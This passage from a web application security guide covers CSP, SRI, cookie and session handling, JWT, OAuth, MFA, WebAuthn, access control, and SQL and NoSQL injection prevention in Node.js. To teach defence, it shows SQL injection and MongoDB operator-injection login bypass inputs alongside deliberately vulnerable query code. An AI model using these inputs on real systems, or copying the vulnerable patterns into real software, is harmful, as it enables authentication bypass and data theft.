res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s+/g, ' ').trim());
next();
});
Using Nonces:
<!-- Server-side template -->
<script nonce="{{nonce}}">
// This will execute
console.log('Allowed script');
</script>
<script>
// This will be blocked (no nonce)
console.log('Blocked script');
</script>
CSP Reporting:
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report;
// Collect CSP violations
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
// Log to monitoring service
res.status(204).end();
});
Best Practices: โ Use: Start with Report-Only mode โ Use: Nonces for inline scripts โ Use: 'strict-dynamic' for modern browsers โ Use: upgrade-insecure-requests โ Avoid: 'unsafe-inline' and 'unsafe-eval' โ Avoid: Overly permissive policies โ Avoid: Wildcard sources (*)
Subresource Integrity (SRI)โ
What It Is: Ensures that files fetched from CDNs haven't been tampered with.
Implementation:
<!-- With SRI -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
crossorigin="anonymous">
Generating SRI Hashes:
# Using openssl
curl -s https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A
# Using Node.js
const crypto = require('crypto');
const fs = require('fs');
const file = fs.readFileSync('library.js');
const hash = crypto.createHash('sha384').update(file).digest('base64');
console.log(`sha384-${hash}`);
Best Practices: โ Use: SRI for all third-party scripts and styles โ Use: SHA-384 or SHA-512 algorithms โ Use: crossorigin attribute with SRI โ Use: Multiple hashes for fallback โ Avoid: Using SRI without crossorigin โ Avoid: Weak hash algorithms (MD5, SHA-1)
4. Cookie Securityโ
Cookie Flags Explainedโ
Complete Cookie Example:
Set-Cookie: sessionId=abc123;
Secure;
HttpOnly;
SameSite=Strict;
Domain=example.com;
Path=/;
Max-Age=3600;
Expires=Wed, 21 Oct 2025 07:28:00 GMT
Flag Breakdown:
1. Secure
// โ
HTTPS only - prevents MITM attacks
res.cookie('token', value, { secure: true });
- Cookie sent only over HTTPS
- Prevents interception on unsecured connections
- Always use in production
2. HttpOnly
// โ
No JavaScript access - prevents XSS cookie theft
res.cookie('sessionId', value, { httpOnly: true });
- Cannot be accessed via
document.cookie - Protects against XSS attacks
- Use for authentication tokens
3. SameSite
// Strict - Maximum CSRF protection
res.cookie('auth', value, { sameSite: 'strict' });
// Lax - Balance of security and usability (default)
res.cookie('session', value, { sameSite: 'lax' });
// None - Required for cross-site cookies (needs Secure)
res.cookie('tracking', value, { sameSite: 'none', secure: true });
SameSite Comparison:
| SameSite Value | Cross-site GET | Cross-site POST | Use Case |
|---|---|---|---|
| Strict | โ | โ | Auth cookies |
| Lax (default) | โ (top-level) | โ | Session cookies |
| None | โ | โ | Third-party cookies |
4. Domain & Path
// Scope cookie to specific domain/subdomain
res.cookie('data', value, {
domain: '.example.com', // Available to all subdomains
path: '/api' // Only sent to /api routes
});
5. Max-Age & Expires
// Session cookie (deleted when browser closes)
res.cookie('session', value);
// Persistent cookie with Max-Age (in seconds)
res.cookie('remember', value, { maxAge: 30 * 24 * 60 * 60 * 1000 }); // 30 days
// Persistent cookie with Expires
const expiryDate = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
res.cookie('temp', value, { expires: expiryDate });
Cookie Best Practicesโ
Authentication Cookie (Most Secure):
res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // Strong CSRF protection
maxAge: 3600000, // 1 hour
signed: true // Cryptographic signature
});
Session Cookie Configuration:
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sid', // Don't use default name
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 1000 * 60 * 60 * 24 // 24 hours
},
store: new RedisStore({ client: redisClient }) // Use persistent store
}));
Cookie Prefixes:
// __Secure- prefix: Must be set with Secure flag
res.cookie('__Secure-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict'
});
// __Host- prefix: More restrictive
res.cookie('__Host-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict',
path: '/',
domain: undefined // Cannot set domain
});
Session Managementโ
Best Practices:
1. Secure Session Generation:
const crypto = require('crypto');
function generateSessionId() {
return crypto.randomBytes(32).toString('hex');
}
// Store in secure backend (Redis recommended)
async function createSession(userId) {
const sessionId = generateSessionId();
const sessionData = {
userId,
createdAt: Date.now(),
expiresAt: Date.now() + 3600000, // 1 hour
ipAddress: req.ip,
userAgent: req.headers['user-agent']
};
await redisClient.setex(
`session:${sessionId}`,
3600, // TTL in seconds
JSON.stringify(sessionData)
);
return sessionId;
}
2. Session Validation:
async function validateSession(sessionId) {
const sessionData = await redisClient.get(`session:${sessionId}`);
if (!sessionData) {
return null; // Session expired or invalid
}
const session = JSON.parse(sessionData);
// Check expiration
if (Date.now() > session.expiresAt) {
await redisClient.del(`session:${sessionId}`);
return null;
}
// Additional checks
if (session.ipAddress !== req.ip) {
// Log suspicious activity
logger.warn('IP mismatch for session', { sessionId, userId: session.userId });
// Optional: invalidate session
}
return session;
}
3. Session Rotation:
// Rotate session ID after privilege escalation
async function rotateSession(oldSessionId) {
const oldSession = await redisClient.get(`session:${oldSessionId}`);
if (!oldSession) return null;
const newSessionId = generateSessionId();
// Copy session data to new ID
await redisClient.setex(
`session:${newSessionId}`,
3600,
oldSession
);
// Delete old session
await redisClient.del(`session:${oldSessionId}`);
return newSessionId;
}
// Use after login, password change, privilege escalation
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body);
if (user) {
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
res.json({ success: true });
}
});
4. Logout & Session Termination:
app.post('/logout', async (req, res) => {
const sessionId = req.cookies.sessionId;
if (sessionId) {
await redisClient.del(`session:${sessionId}`);
}
res.clearCookie('sessionId', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
res.json({ success: true });
});
// Logout all devices
app.post('/logout-all', async (req, res) => {
const userId = req.user.id;
// Find all sessions for user
const keys = await redisClient.keys(`session:*`);
for (const key of keys) {
const session = await redisClient.get(key);
if (JSON.parse(session).userId === userId) {
await redisClient.del(key);
}
}
res.json({ success: true });
});
Best Practices: โ Use: Server-side session storage (Redis, database) โ Use: Secure session ID generation (crypto.randomBytes) โ Use: Session expiration and rotation โ Use: IP and User-Agent validation โ Avoid: Client-side session storage โ Avoid: Predictable session IDs โ Avoid: Long-lived sessions without renewal โ Avoid: Session fixation vulnerabilities
5. Authentication & Authorizationโ
Authentication Methodsโ
Comparison Table:
| Method | Best For | Pros | Cons |
|---|---|---|---|
| Session + Cookie | Traditional web apps | Server control, easy revocation | Scalability, CSRF risk |
| JWT | APIs, SPAs | Stateless, portable | Cannot revoke easily, larger size |
| OAuth 2.0 | Third-party auth | Delegated auth, SSO | Complex, token management |
| WebAuthn | High security | Phishing-resistant, no passwords | Browser support, UX learning curve |
Password Securityโ
Storage Best Practices:
const bcrypt = require('bcrypt');
const argon2 = require('argon2');
// โ
SECURE - Bcrypt (industry standard)
async function hashPassword(password) {
const saltRounds = 12; // Higher = more secure but slower
return await bcrypt.hash(password, saltRounds);
}
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
// โ
EVEN BETTER - Argon2 (most modern)
async function hashPasswordArgon2(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 2 ** 16, // 64 MB
timeCost: 3,
parallelism: 1
});
}
async function verifyPasswordArgon2(password, hash) {
return await argon2.verify(hash, password);
}
// โ INSECURE - Never do this
function badHash(password) {
return crypto.createHash('md5').update(password).digest('hex');
}
Password Policy Implementation:
const passwordValidator = require('password-validator');
const schema = new passwordValidator();
schema
.is().min(12) // Minimum length 12
.is().max(128) // Maximum length 128
.has().uppercase() // Must have uppercase letters
.has().lowercase() // Must have lowercase letters
.has().digits(1) // Must have at least 1 digit
.has().symbols(1) // Must have at least 1 symbol
.has().not().spaces() // Should not have spaces
.is().not().oneOf(['Password123!', 'Admin123!']); // Blacklist common passwords
function validatePassword(password) {
const errors = schema.validate(password, { list: true });
if (errors.length > 0) {
throw new Error(`Password validation failed: ${errors.join(', ')}`);
}
return true;
}
// Check against leaked password database
const hibp = require('hibp');
async function checkPasswordBreach(password) {
const breachCount = await hibp.pwnedPassword(password);
if (breachCount > 0) {
throw new Error(`This password has been exposed in ${breachCount} data breaches`);
}
return true;
}
Account Security Measures:
// Rate limiting login attempts
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts
message: 'Too many login attempts, please try again later',
standardHeaders: true,
legacyHeaders: false,
skipSuccessfulRequests: true
});
app.post('/login', loginLimiter, async (req, res) => {
// Login logic
});
// Account lockout after failed attempts
async function handleFailedLogin(userId) {
const key = `failed_attempts:${userId}`;
const attempts = await redisClient.incr(key);
if (attempts === 1) {
await redisClient.expire(key, 900); // 15 minutes
}
if (attempts >= 5) {
await lockAccount(userId, 1800); // Lock for 30 minutes
await notifyUser(userId, 'Account locked due to failed login attempts');
}
return attempts;
}
async function lockAccount(userId, duration) {
await redisClient.setex(`account_locked:${userId}`, duration, '1');
}
async function isAccountLocked(userId) {
return await redisClient.exists(`account_locked:${userId}`);
}
JSON Web Tokens (JWT)โ
Structure:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Implementation:
const jwt = require('jsonwebtoken');
// Generate tokens
function generateTokens(user) {
const accessToken = jwt.sign(
{
userId: user.id,
email: user.email,
role: user.role
},
process.env.ACCESS_TOKEN_SECRET,
{
expiresIn: '15m',
issuer: 'api.example.com',
audience: 'example.com'
}
);
const refreshToken = jwt.sign(
{
userId: user.id,
tokenVersion: user.tokenVersion // For token revocation
},
process.env.REFRESH_TOKEN_SECRET,
{
expiresIn: '7d',
issuer: 'api.example.com',
audience: 'example.com'
}
);
return { accessToken, refreshToken };
}
// Verify JWT middleware
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, {
issuer: 'api.example.com',
audience: 'example.com'
});
req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
return res.status(403).json({ error: 'Invalid token' });
}
}
// Refresh token endpoint
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;
if (!refreshToken) {
return res.status(401).json({ error: 'Refresh token required' });
}
try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET);
// Check if user exists and token version matches
const user = await getUserById(decoded.userId);
if (!user || user.tokenVersion !== decoded.tokenVersion) {
return res.status(403).json({ error: 'Invalid refresh token' });
}
// Generate new access token
const accessToken = jwt.sign(
{ userId: user.id, email: user.email, role: user.role },
process.env.ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken });
} catch (err) {
return res.status(403).json({ error: 'Invalid refresh token' });
}
});
// Token revocation (by incrementing tokenVersion)
async function revokeAllTokens(userId) {
await db.query(
'UPDATE users SET token_version = token_version + 1 WHERE id = ?',
[userId]
);
}
JWT Storage Options:
1. HttpOnly Cookie (Most Secure for Web):
// Set JWT in HttpOnly cookie
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000 // 15 minutes
});
// Frontend automatically sends cookie
fetch('/api/protected', {
credentials: 'include'
});
2. Authorization Header (Standard for APIs):
// Frontend stores in memory (React example)
const [token, setToken] = useState(null);
// Send with requests
fetch('/api/protected', {
headers: {
'Authorization': `Bearer ${token}`
}
});
JWT Security Best Practices: โ Use: Short-lived access tokens (15 minutes) โ Use: Refresh token rotation โ Use: Strong secret keys (256-bit minimum) โ Use: Algorithm verification (RS256 for production) โ Use: Token version for revocation โ Avoid: Storing sensitive data in payload โ Avoid: Long-lived tokens without refresh โ Avoid: localStorage for tokens (XSS risk) โ Avoid: Using 'none' algorithm
Common JWT Mistakes:
// โ DANGEROUS - No signature verification
const decoded = jwt.decode(token); // Never use decode without verify!
// โ DANGEROUS - Algorithm confusion attack
jwt.verify(token, publicKey); // Specify algorithm explicitly
// โ
SAFE
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// โ DANGEROUS - Storing sensitive data
const token = jwt.sign({
userId: 123,
password: 'secret123' // Never store passwords in JWT!
}, secret);
// โ
SAFE - Only non-sensitive identifiers
const token = jwt.sign({
userId: 123,
role: 'user'
}, secret);
OAuth 2.0 & OpenID Connectโ
OAuth 2.0 Flow (Authorization Code):
1. User clicks "Login with Google"
2. Redirect to: https://accounts.google.com/o/oauth2/auth?
- client_id=YOUR_CLIENT_ID
- redirect_uri=https://yourapp.com/callback
- response_type=code
- scope=openid email profile
- state=random_string (CSRF protection)
3. User authorizes
4. Redirect back with code: https://yourapp.com/callback?code=AUTH_CODE&state=random_string
5. Exchange code for tokens
6. Use access token to fetch user data
Implementation with Passport.js:
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback',
scope: ['profile', 'email']
},
async (accessToken, refreshToken, profile, done) => {
try {
// Find or create user
let user = await User.findOne({ googleId: profile.id });
if (!user) {
user = await User.create({
googleId: profile.id,
email: profile.emails[0].value,
name: profile.displayName,
avatar: profile.photos[0].value
});
}
return done(null, user);
} catch (err) {
return done(err, null);
}
}
));
// Routes
app.get('/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);
app.get('/auth/google/callback',
passport.authenticate('google', { failureRedirect: '/login' }),
(req, res) => {
// Successful authentication
const sessionId = createSession(req.user.id);
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
res.redirect('/dashboard');
}
);
PKCE (Proof Key for Code Exchange) for SPAs:
// Generate code verifier and challenge
const crypto = require('crypto');
function generateCodeVerifier() {
return crypto.randomBytes(32).toString('base64url');
}
function generateCodeChallenge(verifier) {
return crypto
.createHash('sha256')
.update(verifier)
.digest('base64url');
}
// Step 1: Initiate OAuth flow
const codeVerifier = generateCodeVerifier();
const codeChallenge = generateCodeChallenge(codeVerifier);
// Store verifier in session/localStorage
sessionStorage.setItem('code_verifier', codeVerifier);
// Redirect to authorization server
const authUrl = `https://auth.example.com/authorize?` +
`client_id=${CLIENT_ID}` +
`&redirect_uri=${REDIRECT_URI}` +
`&response_type=code` +
`&code_challenge=${codeChallenge}` +
`&code_challenge_method=S256` +
`&scope=openid profile email`;
window.location.href = authUrl;
// Step 2: Exchange code for token
async function exchangeCodeForToken(code) {
const codeVerifier = sessionStorage.getItem('code_verifier');
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI,
client_id: CLIENT_ID,
code_verifier: codeVerifier
})
});
const tokens = await response.json();
return tokens;
}
Multi-Factor Authentication (MFA)โ
TOTP (Time-based One-Time Password) Implementation:
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');
// Generate secret for user
async function setupMFA(userId, email) {
const secret = speakeasy.generateSecret({
name: `YourApp (${email})`,
issuer: 'YourApp'
});
// Save secret to database (encrypted)
await saveUserMFASecret(userId, secret.base32);
// Generate QR code
const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
return {
secret: secret.base32,
qrCode: qrCodeUrl
};
}
// Verify TOTP token
function verifyMFAToken(secret, token) {
return speakeasy.totp.verify({
secret: secret,
encoding: 'base32',
token: token,
window: 2 // Allow 2 time steps before/after
});
}
// MFA login flow
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await authenticateUser(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Check if MFA is enabled
if (user.mfaEnabled) {
// Create temporary token for MFA verification
const tempToken = jwt.sign(
{ userId: user.id, step: 'mfa_required' },
process.env.TEMP_TOKEN_SECRET,
{ expiresIn: '5m' }
);
return res.json({
requiresMFA: true,
tempToken: tempToken
});
}
// No MFA, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
});
app.post('/verify-mfa', async (req, res) => {
const { tempToken, mfaToken } = req.body;
try {
const decoded = jwt.verify(tempToken, process.env.TEMP_TOKEN_SECRET);
if (decoded.step !== 'mfa_required') {
return res.status(403).json({ error: 'Invalid token' });
}
const user = await getUserById(decoded.userId);
const isValid = verifyMFAToken(user.mfaSecret, mfaToken);
if (!isValid) {
return res.status(401).json({ error: 'Invalid MFA token' });
}
// MFA verified, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
} catch (err) {
return res.status(403).json({ error: 'Invalid token' });
}
});
// Backup codes
function generateBackupCodes(count = 10) {
const codes = [];
for (let i = 0; i < count; i++) {
codes.push(crypto.randomBytes(4).toString('hex').toUpperCase());
}
return codes;
}
async function saveBackupCodes(userId, codes) {
const hashedCodes = await Promise.all(
codes.map(code => bcrypt.hash(code, 10))
);
await db.query(
'INSERT INTO mfa_backup_codes (user_id, code_hash) VALUES ?',
[hashedCodes.map(hash => [userId, hash])]
);
}
WebAuthn & Passkeysโ
Registration (Creating Passkey):
// Server-side: Generate challenge
const { generateRegistrationOptions, verifyRegistrationResponse } = require('@simplewebauthn/server');
app.post('/webauthn/register/start', async (req, res) => {
const user = req.user;
const options = generateRegistrationOptions({
rpName: 'YourApp',
rpID: 'example.com',
userID: user.id,
userName: user.email,
userDisplayName: user.name,
attestationType: 'none',
authenticatorSelection: {
authenticatorAttachment: 'platform', // 'platform' or 'cross-platform'
userVerification: 'required',
residentKey: 'required'
},
timeout: 60000
});
// Store challenge in session
req.session.challenge = options.challenge;
res.json(options);
});
// Client-side: Create credential
async function registerPasskey() {
const optionsResponse = await fetch('/webauthn/register/start', {
method: 'POST',
credentials: 'include'
});
const options = await optionsResponse.json();
// Browser API
const credential = await navigator.credentials.create({
publicKey: options
});
// Send credential to server
await fetch('/webauthn/register/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});
}
// Server-side: Verify and store credential
app.post('/webauthn/register/finish', async (req, res) => {
const user = req.user;
const credential = req.body;
const expectedChallenge = req.session.challenge;
try {
const verification = await verifyRegistrationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com'
});
if (verification.verified) {
// Store credential in database
await db.query(
'INSERT INTO webauthn_credentials (user_id, credential_id, public_key, counter) VALUES (?, ?, ?, ?)',
[user.id, verification.registrationInfo.credentialID, verification.registrationInfo.credentialPublicKey, 0]
);
res.json({ success: true });
} else {
res.status(400).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(400).json({ error: err.message });
}
});
Authentication (Using Passkey):
// Server-side: Generate authentication challenge
const { generateAuthenticationOptions, verifyAuthenticationResponse } = require('@simplewebauthn/server');
app.post('/webauthn/auth/start', async (req, res) => {
const { email } = req.body;
const user = await getUserByEmail(email);
if (!user) {
return res.status(404).json({ error: 'User not found' });
}
const userCredentials = await getUserCredentials(user.id);
const options = generateAuthenticationOptions({
rpID: 'example.com',
allowCredentials: userCredentials.map(cred => ({
id: cred.credentialId,
type: 'public-key',
transports: ['internal', 'hybrid']
})),
userVerification: 'required',
timeout: 60000
});
req.session.challenge = options.challenge;
req.session.userId = user.id;
res.json(options);
});
// Client-side: Get credential
async function authenticateWithPasskey(email) {
const optionsResponse = await fetch('/webauthn/auth/start', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({ email })
});
const options = await optionsResponse.json();
const credential = await navigator.credentials.get({
publicKey: options
});
const response = await fetch('/webauthn/auth/finish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify(credential)
});
return response.json();
}
// Server-side: Verify authentication
app.post('/webauthn/auth/finish', async (req, res) => {
const credential = req.body;
const expectedChallenge = req.session.challenge;
const userId = req.session.userId;
const userCredential = await getCredentialById(credential.id);
if (!userCredential) {
return res.status(404).json({ error: 'Credential not found' });
}
try {
const verification = await verifyAuthenticationResponse({
response: credential,
expectedChallenge: expectedChallenge,
expectedOrigin: 'https://example.com',
expectedRPID: 'example.com',
authenticator: {
credentialID: userCredential.credentialId,
credentialPublicKey: userCredential.publicKey,
counter: userCredential.counter
}
});
if (verification.verified) {
// Update counter
await updateCredentialCounter(credential.id, verification.authenticationInfo.newCounter);
// Create session
const sessionId = await createSession(userId);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
} else {
res.status(401).json({ error: 'Verification failed' });
}
} catch (err) {
res.status(401).json({ error: err.message });
}
});
Authorization Patternsโ
Role-Based Access Control (RBAC):
// Define roles and permissions
const ROLES = {
ADMIN: 'admin',
MODERATOR: 'moderator',
USER: 'user',
GUEST: 'guest'
};
const PERMISSIONS = {
USER_CREATE: 'user:create',
USER_READ: 'user:read',
USER_UPDATE: 'user:update',
USER_DELETE: 'user:delete',
POST_CREATE: 'post:create',
POST_UPDATE_OWN: 'post:update:own',
POST_UPDATE_ANY: 'post:update:any',
POST_DELETE_ANY: 'post:delete:any'
};
const ROLE_PERMISSIONS = {
[ROLES.ADMIN]: Object.values(PERMISSIONS),
[ROLES.MODERATOR]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_ANY,
PERMISSIONS.POST_DELETE_ANY
],
[ROLES.USER]: [
PERMISSIONS.USER_READ,
PERMISSIONS.POST_CREATE,
PERMISSIONS.POST_UPDATE_OWN
],
[ROLES.GUEST]: [
PERMISSIONS.USER_READ
]
};
// Middleware
function requirePermission(permission) {
return async (req, res, next) => {
const user = req.user;
if (!user) {
return res.status(401).json({ error: 'Unauthorized' });
}
const userPermissions = ROLE_PERMISSIONS[user.role] || [];
if (!userPermissions.includes(permission)) {
return res.status(403).json({ error: 'Forbidden: Insufficient permissions' });
}
next();
};
}
function requireRole(...roles) {
return (req, res, next) => {
if (!req.user || !roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Forbidden: Insufficient role' });
}
next();
};
}
// Usage
app.post('/users',
authenticateToken,
requirePermission(PERMISSIONS.USER_CREATE),
createUser
);
app.delete('/posts/:id',
authenticateToken,
requirePermission(PERMISSIONS.POST_DELETE_ANY),
deletePost
);
app.put('/posts/:id',
authenticateToken,
async (req, res, next) => {
const post = await getPostById(req.params.id);
// Check ownership
if (post.authorId === req.user.id) {
return requirePermission(PERMISSIONS.POST_UPDATE_OWN)(req, res, next);
} else {
return requirePermission(PERMISSIONS.POST_UPDATE_ANY)(req, res, next);
}
},
updatePost
);
Attribute-Based Access Control (ABAC):
// Policy engine
class PolicyEngine {
constructor() {
this.policies = [];
}
addPolicy(policy) {
this.policies.push(policy);
}
evaluate(subject, action, resource, context = {}) {
for (const policy of this.policies) {
if (policy.matches(subject, action, resource, context)) {
return policy.effect === 'allow';
}
}
return false; // Deny by default
}
}
// Example policies
const policyEngine = new PolicyEngine();
policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return subject.role === 'admin'; // Admins can do anything
}
});
policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'read' && resource.visibility === 'public';
}
});
policyEngine.addPolicy({
effect: 'allow',
matches: (subject, action, resource, context) => {
return action === 'update' &&
resource.authorId === subject.id &&
context.withinBusinessHours === true;
}
});
// Middleware
function requireAccess(action, getResource) {
return async (req, res, next) => {
const subject = req.user;
const resource = await getResource(req);
const context = {
withinBusinessHours: isBusinessHours(),
ipAddress: req.ip
};
if (!policyEngine.evaluate(subject, action, resource, context)) {
return res.status(403).json({ error: 'Access denied' });
}
next();
};
}
// Usage
app.put('/documents/:id',
authenticateToken,
requireAccess('update', async (req) => {
return await getDocumentById(req.params.id);
}),
updateDocument
);
6. Backend & API Securityโ
Input Validationโ
Validation Libraries:
// Using Zod
const { z } = require('zod');
const userSchema = z.object({
email: z.string().email().max(255),
password: z.string().min(12).max(128),
age: z.number().int().min(13).max(120),
username: z.string().regex(/^[a-zA-Z0-9_-]{3,20}$/),
website: z.string().url().optional(),
bio: z.string().max(500).optional()
});
app.post('/register', async (req, res) => {
try {
const validData = userSchema.parse(req.body);
// Process valid data
await createUser(validData);
res.json({ success: true });
} catch (err) {
if (err instanceof z.ZodError) {
return res.status(400).json({
error: 'Validation failed',
details: err.errors
});
}
throw err;
}
});
// Using Joi
const Joi = require('joi');
const postSchema = Joi.object({
title: Joi.string().min(1).max(200).required(),
content: Joi.string().min(1).max(50000).required(),
tags: Joi.array().items(Joi.string().max(30)).max(10),
publishedAt: Joi.date().iso().optional(),
metadata: Joi.object().unknown(true).optional()
});
const { error, value } = postSchema.validate(req.body, {
abortEarly: false,
stripUnknown: true
});
if (error) {
return res.status(400).json({
error: error.details.map(d => d.message)
});
}
Sanitization:
const validator = require('validator');
const xss = require('xss');
function sanitizeInput(input) {
// Remove control characters
let sanitized = input.replace(/[\x00-\x1F\x7F]/g, '');
// Escape HTML
sanitized = validator.escape(sanitized);
// Additional XSS protection
sanitized = xss(sanitized, {
whiteList: {}, // No HTML allowed
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style']
});
return sanitized.trim();
}
// File upload validation
const multer = require('multer');
const path = require('path');
const fileFilter = (req, file, cb) => {
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];
const ext = path.extname(file.originalname).toLowerCase();
if (!allowedMimes.includes(file.mimetype) || !allowedExts.includes(ext)) {
return cb(new Error('Invalid file type'), false);
}
cb(null, true);
};
const upload = multer({
storage: multer.diskStorage({
destination: './uploads/',
filename: (req, file, cb) => {
// Generate random filename to prevent path traversal
const uniqueName = `${Date.now()}-${crypto.randomBytes(8).toString('hex')}${path.extname(file.originalname)}`;
cb(null, uniqueName);
}
}),
fileFilter: fileFilter,
limits: {
fileSize: 5 * 1024 * 1024, // 5MB
files: 1
}
});
app.post('/upload', upload.single('image'), (req, res) => {
res.json({ filename: req.file.filename });
});
SQL Injectionโ
What It Is:
-- Vulnerable query
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'
-- Attack input
username: admin'--
password: anything
-- Resulting query (-- comments out password check)
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
Prevention:
1. Parameterized Queries (Prepared Statements):
// โ VULNERABLE
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query, (err, results) => {
// Dangerous!
});
// โ
SAFE - MySQL with placeholders
const query = 'SELECT * FROM users WHERE email = ?';
db.query(query, [email], (err, results) => {
// Safe!
});
// โ
SAFE - PostgreSQL with named parameters
const query = 'SELECT * FROM users WHERE email = $1';
db.query(query, [email], (err, results) => {
// Safe!
});
// โ
SAFE - Using ORM (Sequelize)
const user = await User.findOne({
where: {
email: email
}
});
// โ
SAFE - Using query builder (Knex)
const users = await knex('users')
.where('email', email)
.select('*');
2. Input Validation:
const validator = require('validator');
function validateEmail(email) {
if (!validator.isEmail(email)) {
throw new Error('Invalid email format');
}
if (email.length > 255) {
throw new Error('Email too long');
}
return email;
}
function validateId(id) {
const parsed = parseInt(id, 10);
if (isNaN(parsed) || parsed < 1) {
throw new Error('Invalid ID');
}
return parsed;
}
app.get('/users/:id', async (req, res) => {
try {
const userId = validateId(req.params.id);
const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
res.json(user);
} catch (err) {
res.status(400).json({ error: err.message });
}
});
3. Least Privilege Database Access:
-- Create restricted user for application
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE ON myapp.posts TO 'app_user'@'localhost';
-- Don't grant DELETE, DROP, or admin privileges
Best Practices: โ Use: Parameterized queries always โ Use: ORMs with parameter binding โ Use: Input validation and type checking โ Use: Least privilege database accounts โ Avoid: String concatenation for queries โ Avoid: Dynamic SQL with user input โ Avoid: Displaying database errors to users
NoSQL Injectionโ
MongoDB Injection Example:
// โ VULNERABLE
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Attack: username = {"$gt": ""}, password = {"$gt": ""}
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true });
}
});
// โ
SAFE - Validate and sanitize
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Ensure inputs are strings
